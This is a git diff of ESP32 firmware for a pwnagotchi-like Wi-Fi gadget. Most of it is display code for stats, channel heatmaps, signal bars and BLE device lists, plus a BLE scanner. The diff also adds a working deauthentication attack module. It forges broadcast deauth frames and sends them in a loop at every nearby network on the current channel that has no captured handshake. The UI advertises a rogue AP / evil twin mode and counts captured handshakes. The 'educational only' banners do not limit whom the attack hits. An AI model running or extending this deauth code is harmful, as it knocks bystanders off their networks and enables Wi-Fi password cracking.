+ " ⚠️ WARNING - EDUCATIONAL USE ONLY ⚠️ \n" + "═══════════════════════════════════════════\n" + "Target SSID: %s\n" + "Target CH: %d\n" + "Status: %s\n" + "──────────────────────────────────────────\n" + "Demo of rogue AP / evil twin attack vectors\n" + " Only test on networks YOU own!\n" + "═══════════════════════════════════════════", + targetSSID, (int)targetCh, statusStr); + + _networkListLabel->setText(rogueDisplay); if (GetStackChan().hasAvatar()) { - GetStackChan().avatar().setSpeech("ROGUE!\nFake APs!\nEducational only!"); + if (isRunning) { + GetStackChan().avatar().setSpeech("ROGUE\nBroadcasting!\nBe careful!"); + } else { + GetStackChan().avatar().setSpeech("ROGUE\nNot running.\nSet target first."); + } } + return; } // CONFIG mode - show config UI else if (_currentMode == gotchi::Mode::CONFIG) { - _statsLabel->setBgColor(lv_color_hex(0x003333)); // Dark cyan background - _statsLabel->setTextColor(lv_color_hex(0x88FFFF)); // Light cyan text - - snprintf(statsText, sizeof(statsText), - "CONFIG MODE\n" - "Tap to exit\n" - "WiFi: %s", - gotchi::isConfigMode() ? "Active" : "Inactive"); - _statsLabel->setText(statsText); - - // Show config instructions in network list area _networkListLabel->setSize(300, 50); _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); _networkListLabel->setBgColor(lv_color_hex(0x002222)); @@ -602,38 +776,70 @@ void AppGotchi::renderUI() { "Or edit /sd/config.json on SD card\n" "\n" "Tap anywhere to exit"); + return; } - // STATS mode check BEFORE network check (priority display) + // STATS mode - full screen stats display else if (_currentMode == gotchi::Mode::STATS) { + // Full screen stats display + _networkListLabel->setSize(320, 220); + _networkListLabel->align(LV_ALIGN_BOTTOM_MID, 0, -5); + _networkListLabel->setBgColor(lv_color_hex(0x1A0A1A)); // Dark purple bg + _networkListLabel->setTextColor(lv_color_hex(0xDD88DD)); // Purple text + + // Build full stats display + char statsDisplay[500]; const char* prestigeStr = stats.prestige > 0 ? "+P" : ""; - const char* dtStr = gotchi::isDeepThoughtUnlocked() ? "*" : ""; - // Full stats display - top section shows key stats - _statsLabel->setSize(320, 70); - _statsLabel->align(LV_ALIGN_TOP_MID, 0, 5); - _statsLabel->setBgColor(lv_color_hex(0x330033)); // Purple background - _statsLabel->setTextColor(lv_color_hex(0xFF88FF)); // Light purple text + int hours = stats.uptimeSeconds / 3600; + int mins = (stats.uptimeSeconds % 3600) / 60; + int secs = stats.uptimeSeconds % 60; - // Reset network list label for STATS mode - _networkListLabel->setSize(320, 185); - _networkListLabel->align(LV_ALIGN_BOTTOM_MID, 0, -5); - _networkListLabel->setBgColor(lv_color_hex(0x220033)); // Dark purple - _networkListLabel->setTextColor(lv_color_hex(0xFF88FF)); + int sessHours = stats.sessionTimeSeconds / 3600; + int sessMins = (stats.sessionTimeSeconds % 3600) / 60; + + snprintf(statsDisplay, sizeof(statsDisplay), + "=========== STATS ===========\n" + "LEVEL: Lv%d%s | XP: %d\n" + "PROGRESS: %d%% to next level\n" + "--------------------------------\n" + "ACHIEVEMENTS: %u/17 unlocked\n" + "--------------------------------\n" + "TOTAL NETWORKS: %u discovered\n" + "TOTAL HANDSHAKES: %u captured\n" + "--------------------------------\n" + "SESSION STATS:\n" + " Networks: %u | Time: %dh%dm\n" + " XP Gained: +%u this session\n" + "--------------------------------\n" + "SYSTEM:\n" + " Uptime: %dh%dm%ds\n" + " Heap: %d bytes (min: %d)\n" + " GPS: %s (%d satellites)", + (int)stats.level, prestigeStr, (int)stats.xp, + gotchi::getXPProgress(stats.xp, stats.level), + (unsigned)stats.achievementCount, + (unsigned)stats.networksFound, + (unsigned)stats.handshakesCaptured, + (unsigned)stats.sessionNetworks, sessHours, sessMins, + (unsigned)stats.sessionXPGain, + hours, mins, secs, + (int)stats.freeHeap, (int)stats.minHeap, + stats.gpsValid ? "Valid" : "No signal", + (int)stats.gpsSatellites); + + _networkListLabel->setText(statsDisplay); - snprintf(statsText, sizeof(statsText), - "Lv:%d%s%s XP:%d\n" // Line 1: Level, prestige, XP - "Ach:%u/17 Uptime:%02uh%02um", // Line 2: Achievements, uptime - (int)stats.level, prestigeStr, dtStr, - (int)stats.xp, - (unsigned)stats.achievementCount, - (unsigned)(stats.uptimeSeconds / 3600), - (unsigned)((stats.uptimeSeconds % 3600) / 60)); - - // Hide avatar speech in STATS mode if (GetStackChan().hasAvatar()) { GetStackChan().avatar().setSpeech(""); } - } else if (networks.size() > 0) { + return; + } + // Fallback for any other modes (shouldn't reach here) + // Networks and text fallback - this code should NOT run for any defined mode + // since all modes now have explicit handling above with returns + + // Legacy fallback kept for safety - shows scanning status + if (networks.size() > 0) { // 3-line format: Line1=Network, Line2=Level/XP, Line3=Other int progress = gotchi::getXPProgress(stats.xp, stats.level); snprintf(statsText, sizeof(statsText), @@ -753,6 +959,12 @@ void AppGotchi::renderUI() { snprintf(wardiveText, sizeof(wardiveText), "+++ %d Strong | ++ %d Med | + %d Weak\n* %s %s", strong, medium, weak, getSignalBars(bestRssi), bestSsid); _networkListLabel->setText(wardiveText); + } else if (_currentMode == gotchi::Mode::IDLE) { + // IDLE - show rest state message + _networkListLabel->setText("Robot is at rest.\n" + "Touch sides to cycle modes.\n" + "Up: Next mode\n" + "Down: Previous mode"); } else if (_currentMode == gotchi::Mode::SCOUT) { // SCOUT - show detailed network list with signal bars char scoutText[512] = ""; @@ -899,4 +1111,428 @@ void AppGotchi::renderUI() { mclog::tagInfo(getAppInfo().name, "Mode: {} | XP: {} | Lvl: {} | Networks: {}", gotchi::getModeName(_currentMode), (int)stats.xp, (int)stats.level, (int)networks.size()); } +} + +lv_color_t getHeatmapColor(int networkCount) { + if (networkCount == 0) return lv_color_hex(0x444444); + if (networkCount <= 2) return lv_color_hex(0x00FF00); + if (networkCount <= 5) return lv_color_hex(0xFFFF00); + if (networkCount <= 9) return lv_color_hex(0xFF8800); + return lv_color_hex(0xFF0000); +} + +lv_color_t getHeatmapBgColor(int networkCount) { + if (networkCount == 0) return lv_color_hex(0x222222); + if (networkCount <= 2) return lv_color_hex(0x002200); + if (networkCount <= 5) return lv_color_hex(0x222200); + if (networkCount <= 9) return lv_color_hex(0x221100); + return lv_color_hex(0x220000); +} + +void AppGotchi::createSpectrumLabels() { + if (_spectrumLabelsCreated) return; + + for (int i = 0; i < NUM_CHANNELS; i++) { + _spectrumLabels[i] = std::make_unique(lv_screen_active()); + _spectrumLabels[i]->setSize(42, 38); + _spectrumLabels[i]->setRadius(4); + _spectrumLabels[i]->setTextFont(&lv_font_montserrat_14); + _spectrumLabels[i]->setTextAlign(LV_TEXT_ALIGN_CENTER); + + int col = i % 7; + int row = i / 7; + int x = 5 + col * 47; + int y = 165 + row * 42; + _spectrumLabels[i]->align(LV_ALIGN_TOP_LEFT, x, y); + + char chText[16]; + snprintf(chText, sizeof(chText), "CH%d\n-", i + 1); + _spectrumLabels[i]->setText(chText); + _spectrumLabels[i]->setBgColor(lv_color_hex(0x222222)); + _spectrumLabels[i]->setTextColor(lv_color_hex(0x888888)); + } + _spectrumLabelsCreated = true; +} + +void AppGotchi::updateSpectrumLabels() { + if (!_spectrumLabelsCreated) return; + + auto channels = gotchi::getChannelAnalysis(); + + for (int i = 0; i < NUM_CHANNELS && i < (int)channels.size(); i++) { + int count = channels[i].networkCount; + + _spectrumLabels[i]->setBgColor(getHeatmapBgColor(count)); + _spectrumLabels[i]->setTextColor(getHeatmapColor(count)); + + char chText[16]; + snprintf(chText, sizeof(chText), "CH%d\n%d", i + 1, count); + _spectrumLabels[i]->setText(chText); + } +} + +void AppGotchi::destroySpectrumLabels() { + if (!_spectrumLabelsCreated) return; + + for (int i = 0; i < NUM_CHANNELS; i++) { + _spectrumLabels[i].reset(); + } + _spectrumLabelsCreated = false; +} + +lv_color_t getSignalColor(int8_t rssi) { + if (rssi > -60) return lv_color_hex(0x00FF00); // Strong - green + if (rssi > -80) return lv_color_hex(0xFFFF00); // Medium - yellow + return lv_color_hex(0xFF4400); // Weak - orange/red +} + +lv_color_t getSignalBgColor(int8_t rssi) { + if (rssi > -60) return lv_color_hex(0x002200); + if (rssi > -80) return lv_color_hex(0x222200); + return lv_color_hex(0x220800); +} + +void AppGotchi::createNetworkBars() { + if (_networkBarsCreated) return; + + for (int i = 0; i < MAX_NETWORK_BARS; i++) { + _networkBars[i] = std::make_unique(lv_screen_active()); + _networkBars[i]->setSize(68, 28); + _networkBars[i]->setRadius(3); + _networkBars[i]->setTextFont(&lv_font_montserrat_14); + _networkBars[i]->setTextAlign(LV_TEXT_ALIGN_LEFT); + + int col = i % 4; + int row = i / 4; + int x = 5 + col * 75; + int y = 160 + row * 32; + _networkBars[i]->align(LV_ALIGN_TOP_LEFT, x, y); + + _networkBars[i]->setText(""); + _networkBars[i]->setBgColor(lv_color_hex(0x111111)); + _networkBars[i]->setTextColor(lv_color_hex(0x888888)); + } + _networkBarsCreated = true; +} + +void AppGotchi::updateNetworkBars() { + if (!_networkBarsCreated) return; + + auto networks = gotchi::getNetworks(); + + for (int i = 0; i < MAX_NETWORK_BARS; i++) { + if (i < (int)networks.size()) { + int idx = networks.size() - MAX_NETWORK_BARS + i; + if (idx < 0) idx = 0; + + auto& net = networks[idx]; + int8_t rssi = net.rssi; + + _networkBars[i]->setBgColor(getSignalBgColor(rssi)); + _networkBars[i]->setTextColor(getSignalColor(rssi)); + + char barText[32]; + snprintf(barText, sizeof(barText), "CH%d %ddBm", net.channel, (int)rssi); + _networkBars[i]->setText(barText); + } else { + _networkBars[i]->setBgColor(lv_color_hex(0x111111)); + _networkBars[i]->setTextColor(lv_color_hex(0x444444)); + _networkBars[i]->setText("-"); + } + } +} + +void AppGotchi::destroyNetworkBars() { + if (!_networkBarsCreated) return; + + for (int i = 0; i < MAX_NETWORK_BARS; i++) { + _networkBars[i].reset(); + } + _networkBarsCreated = false; +} + +void AppGotchi::createSignalBars() { + if (_signalBarsCreated) return; + + const char* labels[3] = {"STRONG", "MEDIUM", "WEAK"}; + int bgColors[3] = {0x002200, 0x222200, 0x220800}; + int fgColors[3] = {0x00FF00, 0xFFFF00, 0xFF6600}; + + for (int i = 0; i < NUM_SIGNAL_BARS; i++) { + _signalBars[i] = std::make_unique(lv_screen_active()); + _signalBars[i]->setSize(90, 45); + _signalBars[i]->setRadius(4); + _signalBars[i]->setTextFont(&lv_font_montserrat_14); + _signalBars[i]->setTextAlign(LV_TEXT_ALIGN_CENTER); + + int x = 15 + i * 100; + int y = 160; + _signalBars[i]->align(LV_ALIGN_TOP_LEFT, x, y); + + _signalBars[i]->setBgColor(lv_color_hex(bgColors[i])); + _signalBars[i]->setTextColor(lv_color_hex(fgColors[i])); + _signalBars[i]->setText(labels[i]); + } + _signalBarsCreated = true; +} + +void AppGotchi::updateSignalBars() { + if (!_signalBarsCreated) return; + + auto networks = gotchi::getNetworks(); + int strong = 0, medium = 0, weak = 0; + + for (const auto& net : networks) { + if (net.rssi > -60) strong++; + else if (net.rssi > -80) medium++; + else weak++; + } + + char countText[3][20]; + snprintf(countText[0], sizeof(countText[0]), "STRONG\n%d", strong); + snprintf(countText[1], sizeof(countText[1]), "MEDIUM\n%d", medium); + snprintf(countText[2], sizeof(countText[2]), "WEAK\n%d", weak); + + for (int i = 0; i < NUM_SIGNAL_BARS; i++) { + _signalBars[i]->setText(countText[i]); + } +} + +void AppGotchi::destroySignalBars() { + if (!_signalBarsCreated) return; + + for (int i = 0; i < NUM_SIGNAL_BARS; i++) { + _signalBars[i].reset(); + } + _signalBarsCreated = false; +} + +void AppGotchi::createBLELabels() { + if (_bleLabelsCreated) return; + + for (int i = 0; i < MAX_BLE_DEVICES; i++) { + _bleLabels[i] = std::make_unique(lv_screen_active()); + _bleLabels[i]->setSize(145, 22); + _bleLabels[i]->setRadius(2); + _bleLabels[i]->setTextFont(&lv_font_montserrat_14); + _bleLabels[i]->setTextAlign(LV_TEXT_ALIGN_LEFT); + + int col = i % 2; + int row = i / 2; + int x = 5 + col * 155; + int y = 160 + row * 26; + _bleLabels[i]->align(LV_ALIGN_TOP_LEFT, x, y); + + _bleLabels[i]->setBgColor(lv_color_hex(0x111122)); + _bleLabels[i]->setTextColor(lv_color_hex(0x8888FF)); + _bleLabels[i]->setText(""); + } + _bleLabelsCreated = true; +} + +void AppGotchi::updateBLELabels() { + if (!_bleLabelsCreated) return; + + auto devices = gotchi::getBLEDevices(); + + for (int i = 0; i < MAX_BLE_DEVICES; i++) { + if (i < (int)devices.size()) { + int idx = devices.size() - MAX_BLE_DEVICES + i; + if (idx < 0) idx = 0; + + auto& dev = devices[idx]; + + _bleLabels[i]->setBgColor(lv_color_hex(0x111122)); + _bleLabels[i]->setTextColor(lv_color_hex(0x66DDDD)); + + char bleText[36]; + snprintf(bleText, sizeof(bleText), "%s", dev.name); + _bleLabels[i]->setText(bleText); + } else { + _bleLabels[i]->setBgColor(lv_color_hex(0x111122)); + _bleLabels[i]->setTextColor(lv_color_hex(0x444466)); + _bleLabels[i]->setText("-"); + } + } +} + +void AppGotchi::destroyBLELabels() { + if (!_bleLabelsCreated) return; + + for (int i = 0; i < MAX_BLE_DEVICES; i++) { + _bleLabels[i].reset(); + } + _bleLabelsCreated = false; +} + +void AppGotchi::createHeaderBoxes() { + if (_headerBoxesCreated) return; + + for (int i = 0; i < NUM_HEADER_BOXES; i++) { + _headerBoxes[i] = std::make_unique(lv_screen_active()); + _headerBoxes[i]->setSize(70, 28); + _headerBoxes[i]->setRadius(3); + _headerBoxes[i]->setTextFont(&lv_font_montserrat_14); + _headerBoxes[i]->setTextAlign(LV_TEXT_ALIGN_CENTER); + + int x = 10 + i * 75; + int y = 8; + _headerBoxes[i]->align(LV_ALIGN_TOP_LEFT, x, y); + + _headerBoxes[i]->setText("-"); + _headerBoxes[i]->setBgColor(lv_color_hex(0x111111)); + _headerBoxes[i]->setTextColor(lv_color_hex(0x888888)); + } + _headerBoxesCreated = true; +} + +void AppGotchi::updateHeaderBoxes() { + if (!_headerBoxesCreated) return; + + auto stats = gotchi::getStats(); + auto networks = gotchi::getNetworks(); + auto devices = gotchi::getBLEDevices(); + int progress = gotchi::getXPProgress(stats.xp, stats.level); + + char boxText[4][20]; + lv_color_t boxBgColor, boxTextColor; + + // Set up box colors based on mode + switch (_currentMode) { + case gotchi::Mode::IDLE: + boxBgColor = lv_color_hex(0x003300); + boxTextColor = lv_color_hex(0x88FF88); + snprintf(boxText[0], 20, "IDLE"); + snprintf(boxText[1], 20, "Lv:%d", (int)stats.level); + snprintf(boxText[2], 20, "XP:%d", (int)stats.xp); + snprintf(boxText[3], 20, "Nets:%d", (int)networks.size()); + break; + case gotchi::Mode::SCOUT: + boxBgColor = lv_color_hex(0x001133); + boxTextColor = lv_color_hex(0x88CCFF); + { + int bestRssi = -100; + for (const auto& n : networks) if (n.rssi > bestRssi) bestRssi = n.rssi; + snprintf(boxText[0], 20, "SCOUT"); + snprintf(boxText[1], 20, "Nets:%d", (int)networks.size()); + snprintf(boxText[2], 20, "%ddBm", bestRssi > -100 ? bestRssi : 0); + snprintf(boxText[3], 20, "Lv%d %d%%", (int)stats.level, progress); + } + break; + case gotchi::Mode::HUNT: + boxBgColor = lv_color_hex(0x003300); + boxTextColor = lv_color_hex(0x88FF88); + { + int bestRssi = -100; + for (const auto& n : networks) if (n.rssi > bestRssi) bestRssi = n.rssi; + int hsCount = gotchi::getHandshakeCount(); + snprintf(boxText[0], 20, "HUNT"); + snprintf(boxText[1], 20, "Nets:%d", (int)networks.size()); + snprintf(boxText[2], 20, "HS:%d", hsCount); + snprintf(boxText[3], 20, "Lv%d %d%%", (int)stats.level, progress); + } + break; + case gotchi::Mode::WARDIVE: + boxBgColor = lv_color_hex(0x331A00); + boxTextColor = lv_color_hex(0xFFCC66); + { + // Cycle through networks every 2 seconds + uint32_t now = GetHAL().millis(); + if (now - _wardiveCycleTime > 2000) { + _wardiveCycleTime = now; + if (networks.size() > 0) { + _wardiveCurrentNetworkIndex = (_wardiveCurrentNetworkIndex + 1) % networks.size(); + } + } + const char* gpsStr = stats.gpsValid ? "On" : "Off"; + if (_wardiveCurrentNetworkIndex < (int)networks.size()) { + auto& net = networks[_wardiveCurrentNetworkIndex]; + snprintf(boxText[2], 20, "%ddBm", (int)net.rssi); + } else { + snprintf(boxText[2], 20, "No nets"); + } + snprintf(boxText[0], 20, "WARDIVE"); + snprintf(boxText[1], 20, "Nets:%d", (int)networks.size()); + snprintf(boxText[3], 20, "GPS:%s S:%d", gpsStr, (int)stats.gpsSatellites); + } + break; + case gotchi::Mode::BLE_SCAN: + boxBgColor = lv_color_hex(0x002233); + boxTextColor = lv_color_hex(0x66FFFF); + snprintf(boxText[0], 20, "BLE"); + snprintf(boxText[1], 20, "Devs:%d", (int)devices.size()); + snprintf(boxText[2], 20, "Scan..."); + snprintf(boxText[3], 20, "Lv%d %d%%", (int)stats.level, progress); + break; + case gotchi::Mode::SPECTRUM: + { + auto channels = gotchi::getChannelAnalysis(); + int bestCh = 1, bestCount = 999, busiestCh = 1, busiestCount = 0, totalNets = 0; + for (const auto& ch : channels) { + totalNets += ch.networkCount; + if (ch.networkCount > busiestCount) { busiestCount = ch.networkCount; busiestCh = ch.channel; } + if (ch.networkCount > 0 && ch.networkCount < bestCount) { bestCount = ch.networkCount; bestCh = ch.channel; } + } + boxBgColor = lv_color_hex(0x220033); + boxTextColor = lv_color_hex(0xFF66FF); + snprintf(boxText[0], 20, "SPECT"); + snprintf(boxText[1], 20, "Best:CH%d", bestCh); + snprintf(boxText[2], 20, "Bsy:CH%d", busiestCh); + snprintf(boxText[3], 20, "Tot:%d", totalNets); + } + break; + case gotchi::Mode::ROGUE: + { + auto& rogue = gotchi::getRogueManager(); + const char* target = rogue.getTargetSSID(); + uint8_t ch = rogue.getTargetChannel(); + bool running = rogue.isActive(); + boxBgColor = lv_color_hex(0x332200); + boxTextColor = running ? lv_color_hex(0xFFAA44) : lv_color_hex(0xFFCC88); + snprintf(boxText[0], 20, "ROGUE"); + snprintf(boxText[1], 20, "%.12s", target); + snprintf(boxText[2], 20, "CH:%d", (int)ch); + snprintf(boxText[3], 20, running ? "● On" : "○ Off"); + } + break; + case gotchi::Mode::CONFIG: + boxBgColor = lv_color_hex(0x003333); + boxTextColor = lv_color_hex(0x88FFFF); + snprintf(boxText[0], 20, "CONFIG"); + snprintf(boxText[1], 20, "WiFi:%s", gotchi::isConfigMode() ? "On" : "Off"); + snprintf(boxText[2], 20, "192.168.4.1"); + snprintf(boxText[3], 20, "TAP EXIT"); + break; + case gotchi::Mode::STATS: + boxBgColor = lv_color_hex(0x330033); + boxTextColor = lv_color_hex(0xFF88FF); + snprintf(boxText[0], 20, "Lv:%d%s", (int)stats.level, stats.prestige > 0 ? "+P" : ""); + snprintf(boxText[1], 20, "XP:%d", (int)stats.xp); + snprintf(boxText[2], 20, "Ach:%d/17", (int)stats.achievementCount); + snprintf(boxText[3], 20, "Up:%dh%dm", (int)(stats.uptimeSeconds / 3600), (int)((stats.uptimeSeconds % 3600) / 60)); + break; + default: + boxBgColor = lv_color_hex(0x111111); + boxTextColor = lv_color_hex(0x888888); + snprintf(boxText[0], 20, "MODE"); + snprintf(boxText[1], 20, "-"); + snprintf(boxText[2], 20, "-"); + snprintf(boxText[3], 20, "-"); + break; + } + + for (int i = 0; i < NUM_HEADER_BOXES; i++) { + _headerBoxes[i]->setBgColor(boxBgColor); + _headerBoxes[i]->setTextColor(boxTextColor); + _headerBoxes[i]->setText(boxText[i]); + } +} + +void AppGotchi::destroyHeaderBoxes() { + if (!_headerBoxesCreated) return; + + for (int i = 0; i < NUM_HEADER_BOXES; i++) { + _headerBoxes[i].reset(); + } + _headerBoxesCreated = false; } \ No newline at end of file diff --git a/firmware/main/apps/app_gotchi/app_gotchi.h b/firmware/main/apps/app_gotchi/app_gotchi.h index f9737c5..6b1c9f9 100644 --- a/firmware/main/apps/app_gotchi/app_gotchi.h +++ b/firmware/main/apps/app_gotchi/app_gotchi.h @@ -31,6 +31,21 @@ class AppGotchi : public mooncake::AppAbility { void cycleMode(); void cycleModeBackward(); void renderUI(); + void createSpectrumLabels(); + void updateSpectrumLabels(); + void destroySpectrumLabels(); + void createNetworkBars(); + void updateNetworkBars(); + void destroyNetworkBars(); + void createSignalBars(); + void updateSignalBars(); + void destroySignalBars(); + void createBLELabels(); + void updateBLELabels(); + void destroyBLELabels(); + void createHeaderBoxes(); + void updateHeaderBoxes(); + void destroyHeaderBoxes(); std::mutex _mutex; bool _isRunning = false; @@ -51,6 +66,36 @@ class AppGotchi : public mooncake::AppAbility { std::unique_ptr _statsLabel; std::unique_ptr _networkListLabel; + + // SPECTRUM mode channel heatmap labels (14 channels) + static constexpr int NUM_CHANNELS = 14; + std::unique_ptr _spectrumLabels[NUM_CHANNELS]; + bool _spectrumLabelsCreated = false; + + // SCOUT/HUNT mode network signal bars (8 networks) + static constexpr int MAX_NETWORK_BARS = 8; + std::unique_ptr _networkBars[MAX_NETWORK_BARS]; + bool _networkBarsCreated = false; + + // WARDIVE mode signal distribution (3 categories) + static constexpr int NUM_SIGNAL_BARS = 3; + std::unique_ptr _signalBars[NUM_SIGNAL_BARS]; + bool _signalBarsCreated = false; + + // BLE_SCAN mode device list (10 devices) + static constexpr int MAX_BLE_DEVICES = 10; + std::unique_ptr _bleLabels[MAX_BLE_DEVICES]; + bool _bleLabelsCreated = false; + + // Header boxes (4 boxes for each mode's header) + static constexpr int NUM_HEADER_BOXES = 4; + std::unique_ptr _headerBoxes[NUM_HEADER_BOXES]; + bool _headerBoxesCreated = false; + + // WARDIVE signal cycling + uint32_t _wardiveCycleTime = 0; + int _wardiveCurrentNetworkIndex = 0; + uint32_t _lastNetworkCount = 0; uint32_t _lastBLEDeviceCount = 0; uint32_t _lastIdleSpeak = 0; diff --git a/firmware/main/gotchi/achievement_system.cpp b/firmware/main/gotchi/achievement_system.cpp index 57dc8a9..364ee3f 100644 --- a/firmware/main/gotchi/achievement_system.cpp +++ b/firmware/main/gotchi/achievement_system.cpp @@ -133,4 +133,10 @@ void AchievementSystem::saveToNVS() { nvs_close(nvs); } +static AchievementSystem _achievementSystem; + +AchievementSystem& getAchievementSystem() { + return _achievementSystem; +} + } \ No newline at end of file diff --git a/firmware/main/gotchi/achievement_system.h b/firmware/main/gotchi/achievement_system.h index 3553771..e815dd9 100644 --- a/firmware/main/gotchi/achievement_system.h +++ b/firmware/main/gotchi/achievement_system.h @@ -36,4 +36,6 @@ class AchievementSystem { bool _initialized; }; +AchievementSystem& getAchievementSystem(); + } \ No newline at end of file diff --git a/firmware/main/gotchi/ble_scanner.cpp b/firmware/main/gotchi/ble_scanner.cpp new file mode 100644 index 0000000..86ca088 --- /dev/null +++ b/firmware/main/gotchi/ble_scanner.cpp @@ -0,0 +1,126 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "ble_scanner.h" +#include "network_db.h" +#include +#include +#include + +static const char* TAG = "ble_scanner"; + +static int ble_gap_event_cb(ble_gap_event* event, void* arg); + +namespace gotchi { + +BLEScanner::BLEScanner() : _scanning(false), _initialized(false) { +} + +void BLEScanner::init() { + if (_initialized) return; + + ESP_LOGI(TAG, "Initializing BLE system..."); + GetHAL().startBleServer(); + _initialized = true; + ESP_LOGI(TAG, "BLE system ready"); +} + +bool BLEScanner::startScan() { + if (_scanning) return true; + + if (!_initialized) { + init(); + } + + ESP_LOGI(TAG, "Starting BLE scan..."); + + struct ble_gap_disc_params discParams = { + .itvl = 0x0010, + .window = 0x0010, + .filter_policy = BLE_HCI_SCAN_FILT_NO_WL, + .passive = 0, + .filter_duplicates = 1 + }; + + int rc = ble_gap_disc(BLE_OWN_ADDR_PUBLIC, 30000, &discParams, ble_gap_event_cb, NULL); + + if (rc == 0) { + _scanning = true; + ESP_LOGI(TAG, "BLE scan started successfully"); + return true; + } else { + ESP_LOGE(TAG, "BLE scan failed to start: %d", rc); + return false; + } +} + +bool BLEScanner::stopScan() { + if (!_scanning) return true; + + ble_gap_disc_cancel(); + _scanning = false; + ESP_LOGI(TAG, "BLE scan stopped, found %d devices", getNetworkDatabase().getBLEDeviceCount()); + return true; +} + +static BLEScanner _bleScanner; + +BLEScanner& getBLEScanner() { + return _bleScanner; +} + +} + +static int ble_gap_event_cb(ble_gap_event* event, void* arg) { + (void)arg; + + if (event->type == BLE_GAP_EVENT_DISC) { + const ble_gap_disc_desc* desc = &event->disc; + + auto& db = gotchi::getNetworkDatabase(); + + auto* existing = db.findBLEDevice(desc->addr.val); + if (existing) { + existing->rssi = desc->rssi; + existing->lastSeen = GetHAL().millis(); + + for (int i = 0; i < desc->length_data; i++) { + if (desc->data[i] == 0x09 || desc->data[i] == 0x08) { + int nameLen = desc->data[i + 1]; + if (nameLen > 32) nameLen = 32; + memcpy(existing->name, &desc->data[i + 2], nameLen); + existing->name[nameLen] = '\0'; + break; + } + } + return 0; + } + + gotchi::BLEDeviceInfo device = {}; + memcpy(device.mac, desc->addr.val, 6); + device.rssi = desc->rssi; + device.advType = desc->event_type; + device.lastSeen = GetHAL().millis(); + + bool hasName = false; + for (int i = 0; i < desc->length_data; i++) { + if (desc->data[i] == 0x09 || desc->data[i] == 0x08) { + int nameLen = desc->data[i + 1]; + if (nameLen > 32) nameLen = 32; + memcpy(device.name, &desc->data[i + 2], nameLen); + device.name[nameLen] = '\0'; + hasName = true; + break; + } + } + + if (!hasName) { + snprintf(device.name, 33, "Unknown_%02X%02X", device.mac[4], device.mac[5]); + } + + db.addBLEDevice(device.mac, device.rssi, device.advType); + ESP_LOGI(TAG, "BLE: %s RSSI:%d", device.name, device.rssi); + } + return 0; +} \ No newline at end of file diff --git a/firmware/main/gotchi/ble_scanner.h b/firmware/main/gotchi/ble_scanner.h new file mode 100644 index 0000000..7555da8 --- /dev/null +++ b/firmware/main/gotchi/ble_scanner.h @@ -0,0 +1,29 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include + +namespace gotchi { + +class BLEScanner { +public: + BLEScanner(); + + bool isScanning() const { return _scanning; } + + bool startScan(); + bool stopScan(); + + void init(); + +private: + bool _scanning; + bool _initialized; +}; + +BLEScanner& getBLEScanner(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/deauth_manager.cpp b/firmware/main/gotchi/deauth_manager.cpp new file mode 100644 index 0000000..70c024d --- /dev/null +++ b/firmware/main/gotchi/deauth_manager.cpp @@ -0,0 +1,119 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "deauth_manager.h" +#include "network_db.h" +#include "wifi_scanner.h" +#include +#include +#include +#include +#include + +static const char* TAG = "deauth_manager"; + +namespace gotchi { + +static const uint8_t DISASSOC_REASON = 0x03; + +DeauthManager::DeauthManager() + : _taskHandle(nullptr), _active(false), _frameCount(0), _lastDeauth(0) { +} + +void DeauthManager::sendDeauthFrame(const uint8_t* bssid, uint8_t reason) { + uint8_t deauth[32] = {0}; + + uint16_t fc = 0x00C0; + memcpy(&deauth[0], &fc, 2); + deauth[2] = 0x00; deauth[3] = 0x00; + + memset(&deauth[4], 0xFF, 6); + memcpy(&deauth[10], bssid, 6); + memcpy(&deauth[16], bssid, 6); + + deauth[22] = 0; deauth[23] = 0; + deauth[24] = reason; + deauth[25] = 0; + + esp_wifi_80211_tx(WIFI_IF_STA, deauth, 26, false); +} + +void DeauthManager::deauthTask(void* param) { + (void)param; + auto& dm = getDeauthManager(); + + ESP_LOGI(TAG, "Deauth task started"); + + while (dm._active) { + uint32_t now = GetHAL().millis(); + + if (now - dm._lastDeauth > 3000) { + dm._lastDeauth = now; + + auto& db = getNetworkDatabase(); + uint8_t currentChannel = getWifiScanner().getCurrentChannel(); + + int sent = 0; + for (const auto& net : db.getNetworks()) { + if (!dm._active) break; + if (net.hasCapture) continue; + if (net.channel != currentChannel) continue; + + dm.sendDeauthFrame(net.bssid, DISASSOC_REASON); + dm._frameCount++; + sent++; + + vTaskDelay(pdMS_TO_TICKS(50)); + + if (sent >= 5) break; + } + + if (dm._frameCount % 30 == 0 && dm._frameCount > 0) { + ESP_LOGI(TAG, "Deauth frames sent: %u", dm._frameCount); + } + } + + vTaskDelay(pdMS_TO_TICKS(500)); + } + + ESP_LOGI(TAG, "Deauth task stopped, sent %u frames", dm._frameCount); + dm._active = false; + vTaskDelete(NULL); +} + +bool DeauthManager::start() { + if (_active) return true; + + ESP_LOGI(TAG, "Starting deauth attack..."); + _active = true; + _frameCount = 0; + _lastDeauth = 0; + + xTaskCreate(deauthTask, "deauth_task", 2048, NULL, 3, &_taskHandle); + return true; +} + +void DeauthManager::stop() { + if (!_active) return; + + _active = false; + + if (_taskHandle) { + vTaskDelay(pdMS_TO_TICKS(100)); + _taskHandle = nullptr; + } + + ESP_LOGI(TAG, "Deauth attack stopped"); +} + +void DeauthManager::update() { +} + +static DeauthManager _deauthManager; + +DeauthManager& getDeauthManager() { + return _deauthManager; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/deauth_manager.h b/firmware/main/gotchi/deauth_manager.h new file mode 100644 index 0000000..6a04da6 --- /dev/null +++ b/firmware/main/gotchi/deauth_manager.h @@ -0,0 +1,34 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include + +namespace gotchi { + +class DeauthManager { +public: + DeauthManager(); + + bool isActive() const { return _active; } + uint32_t getFrameCount() const { return _frameCount; } + + bool start(); + void stop(); + void update(); + +private: + static void deauthTask(void* param); + void sendDeauthFrame(const uint8_t* bssid, uint8_t reason); + + TaskHandle_t _taskHandle; + bool _active; + uint32_t _frameCount; + uint32_t 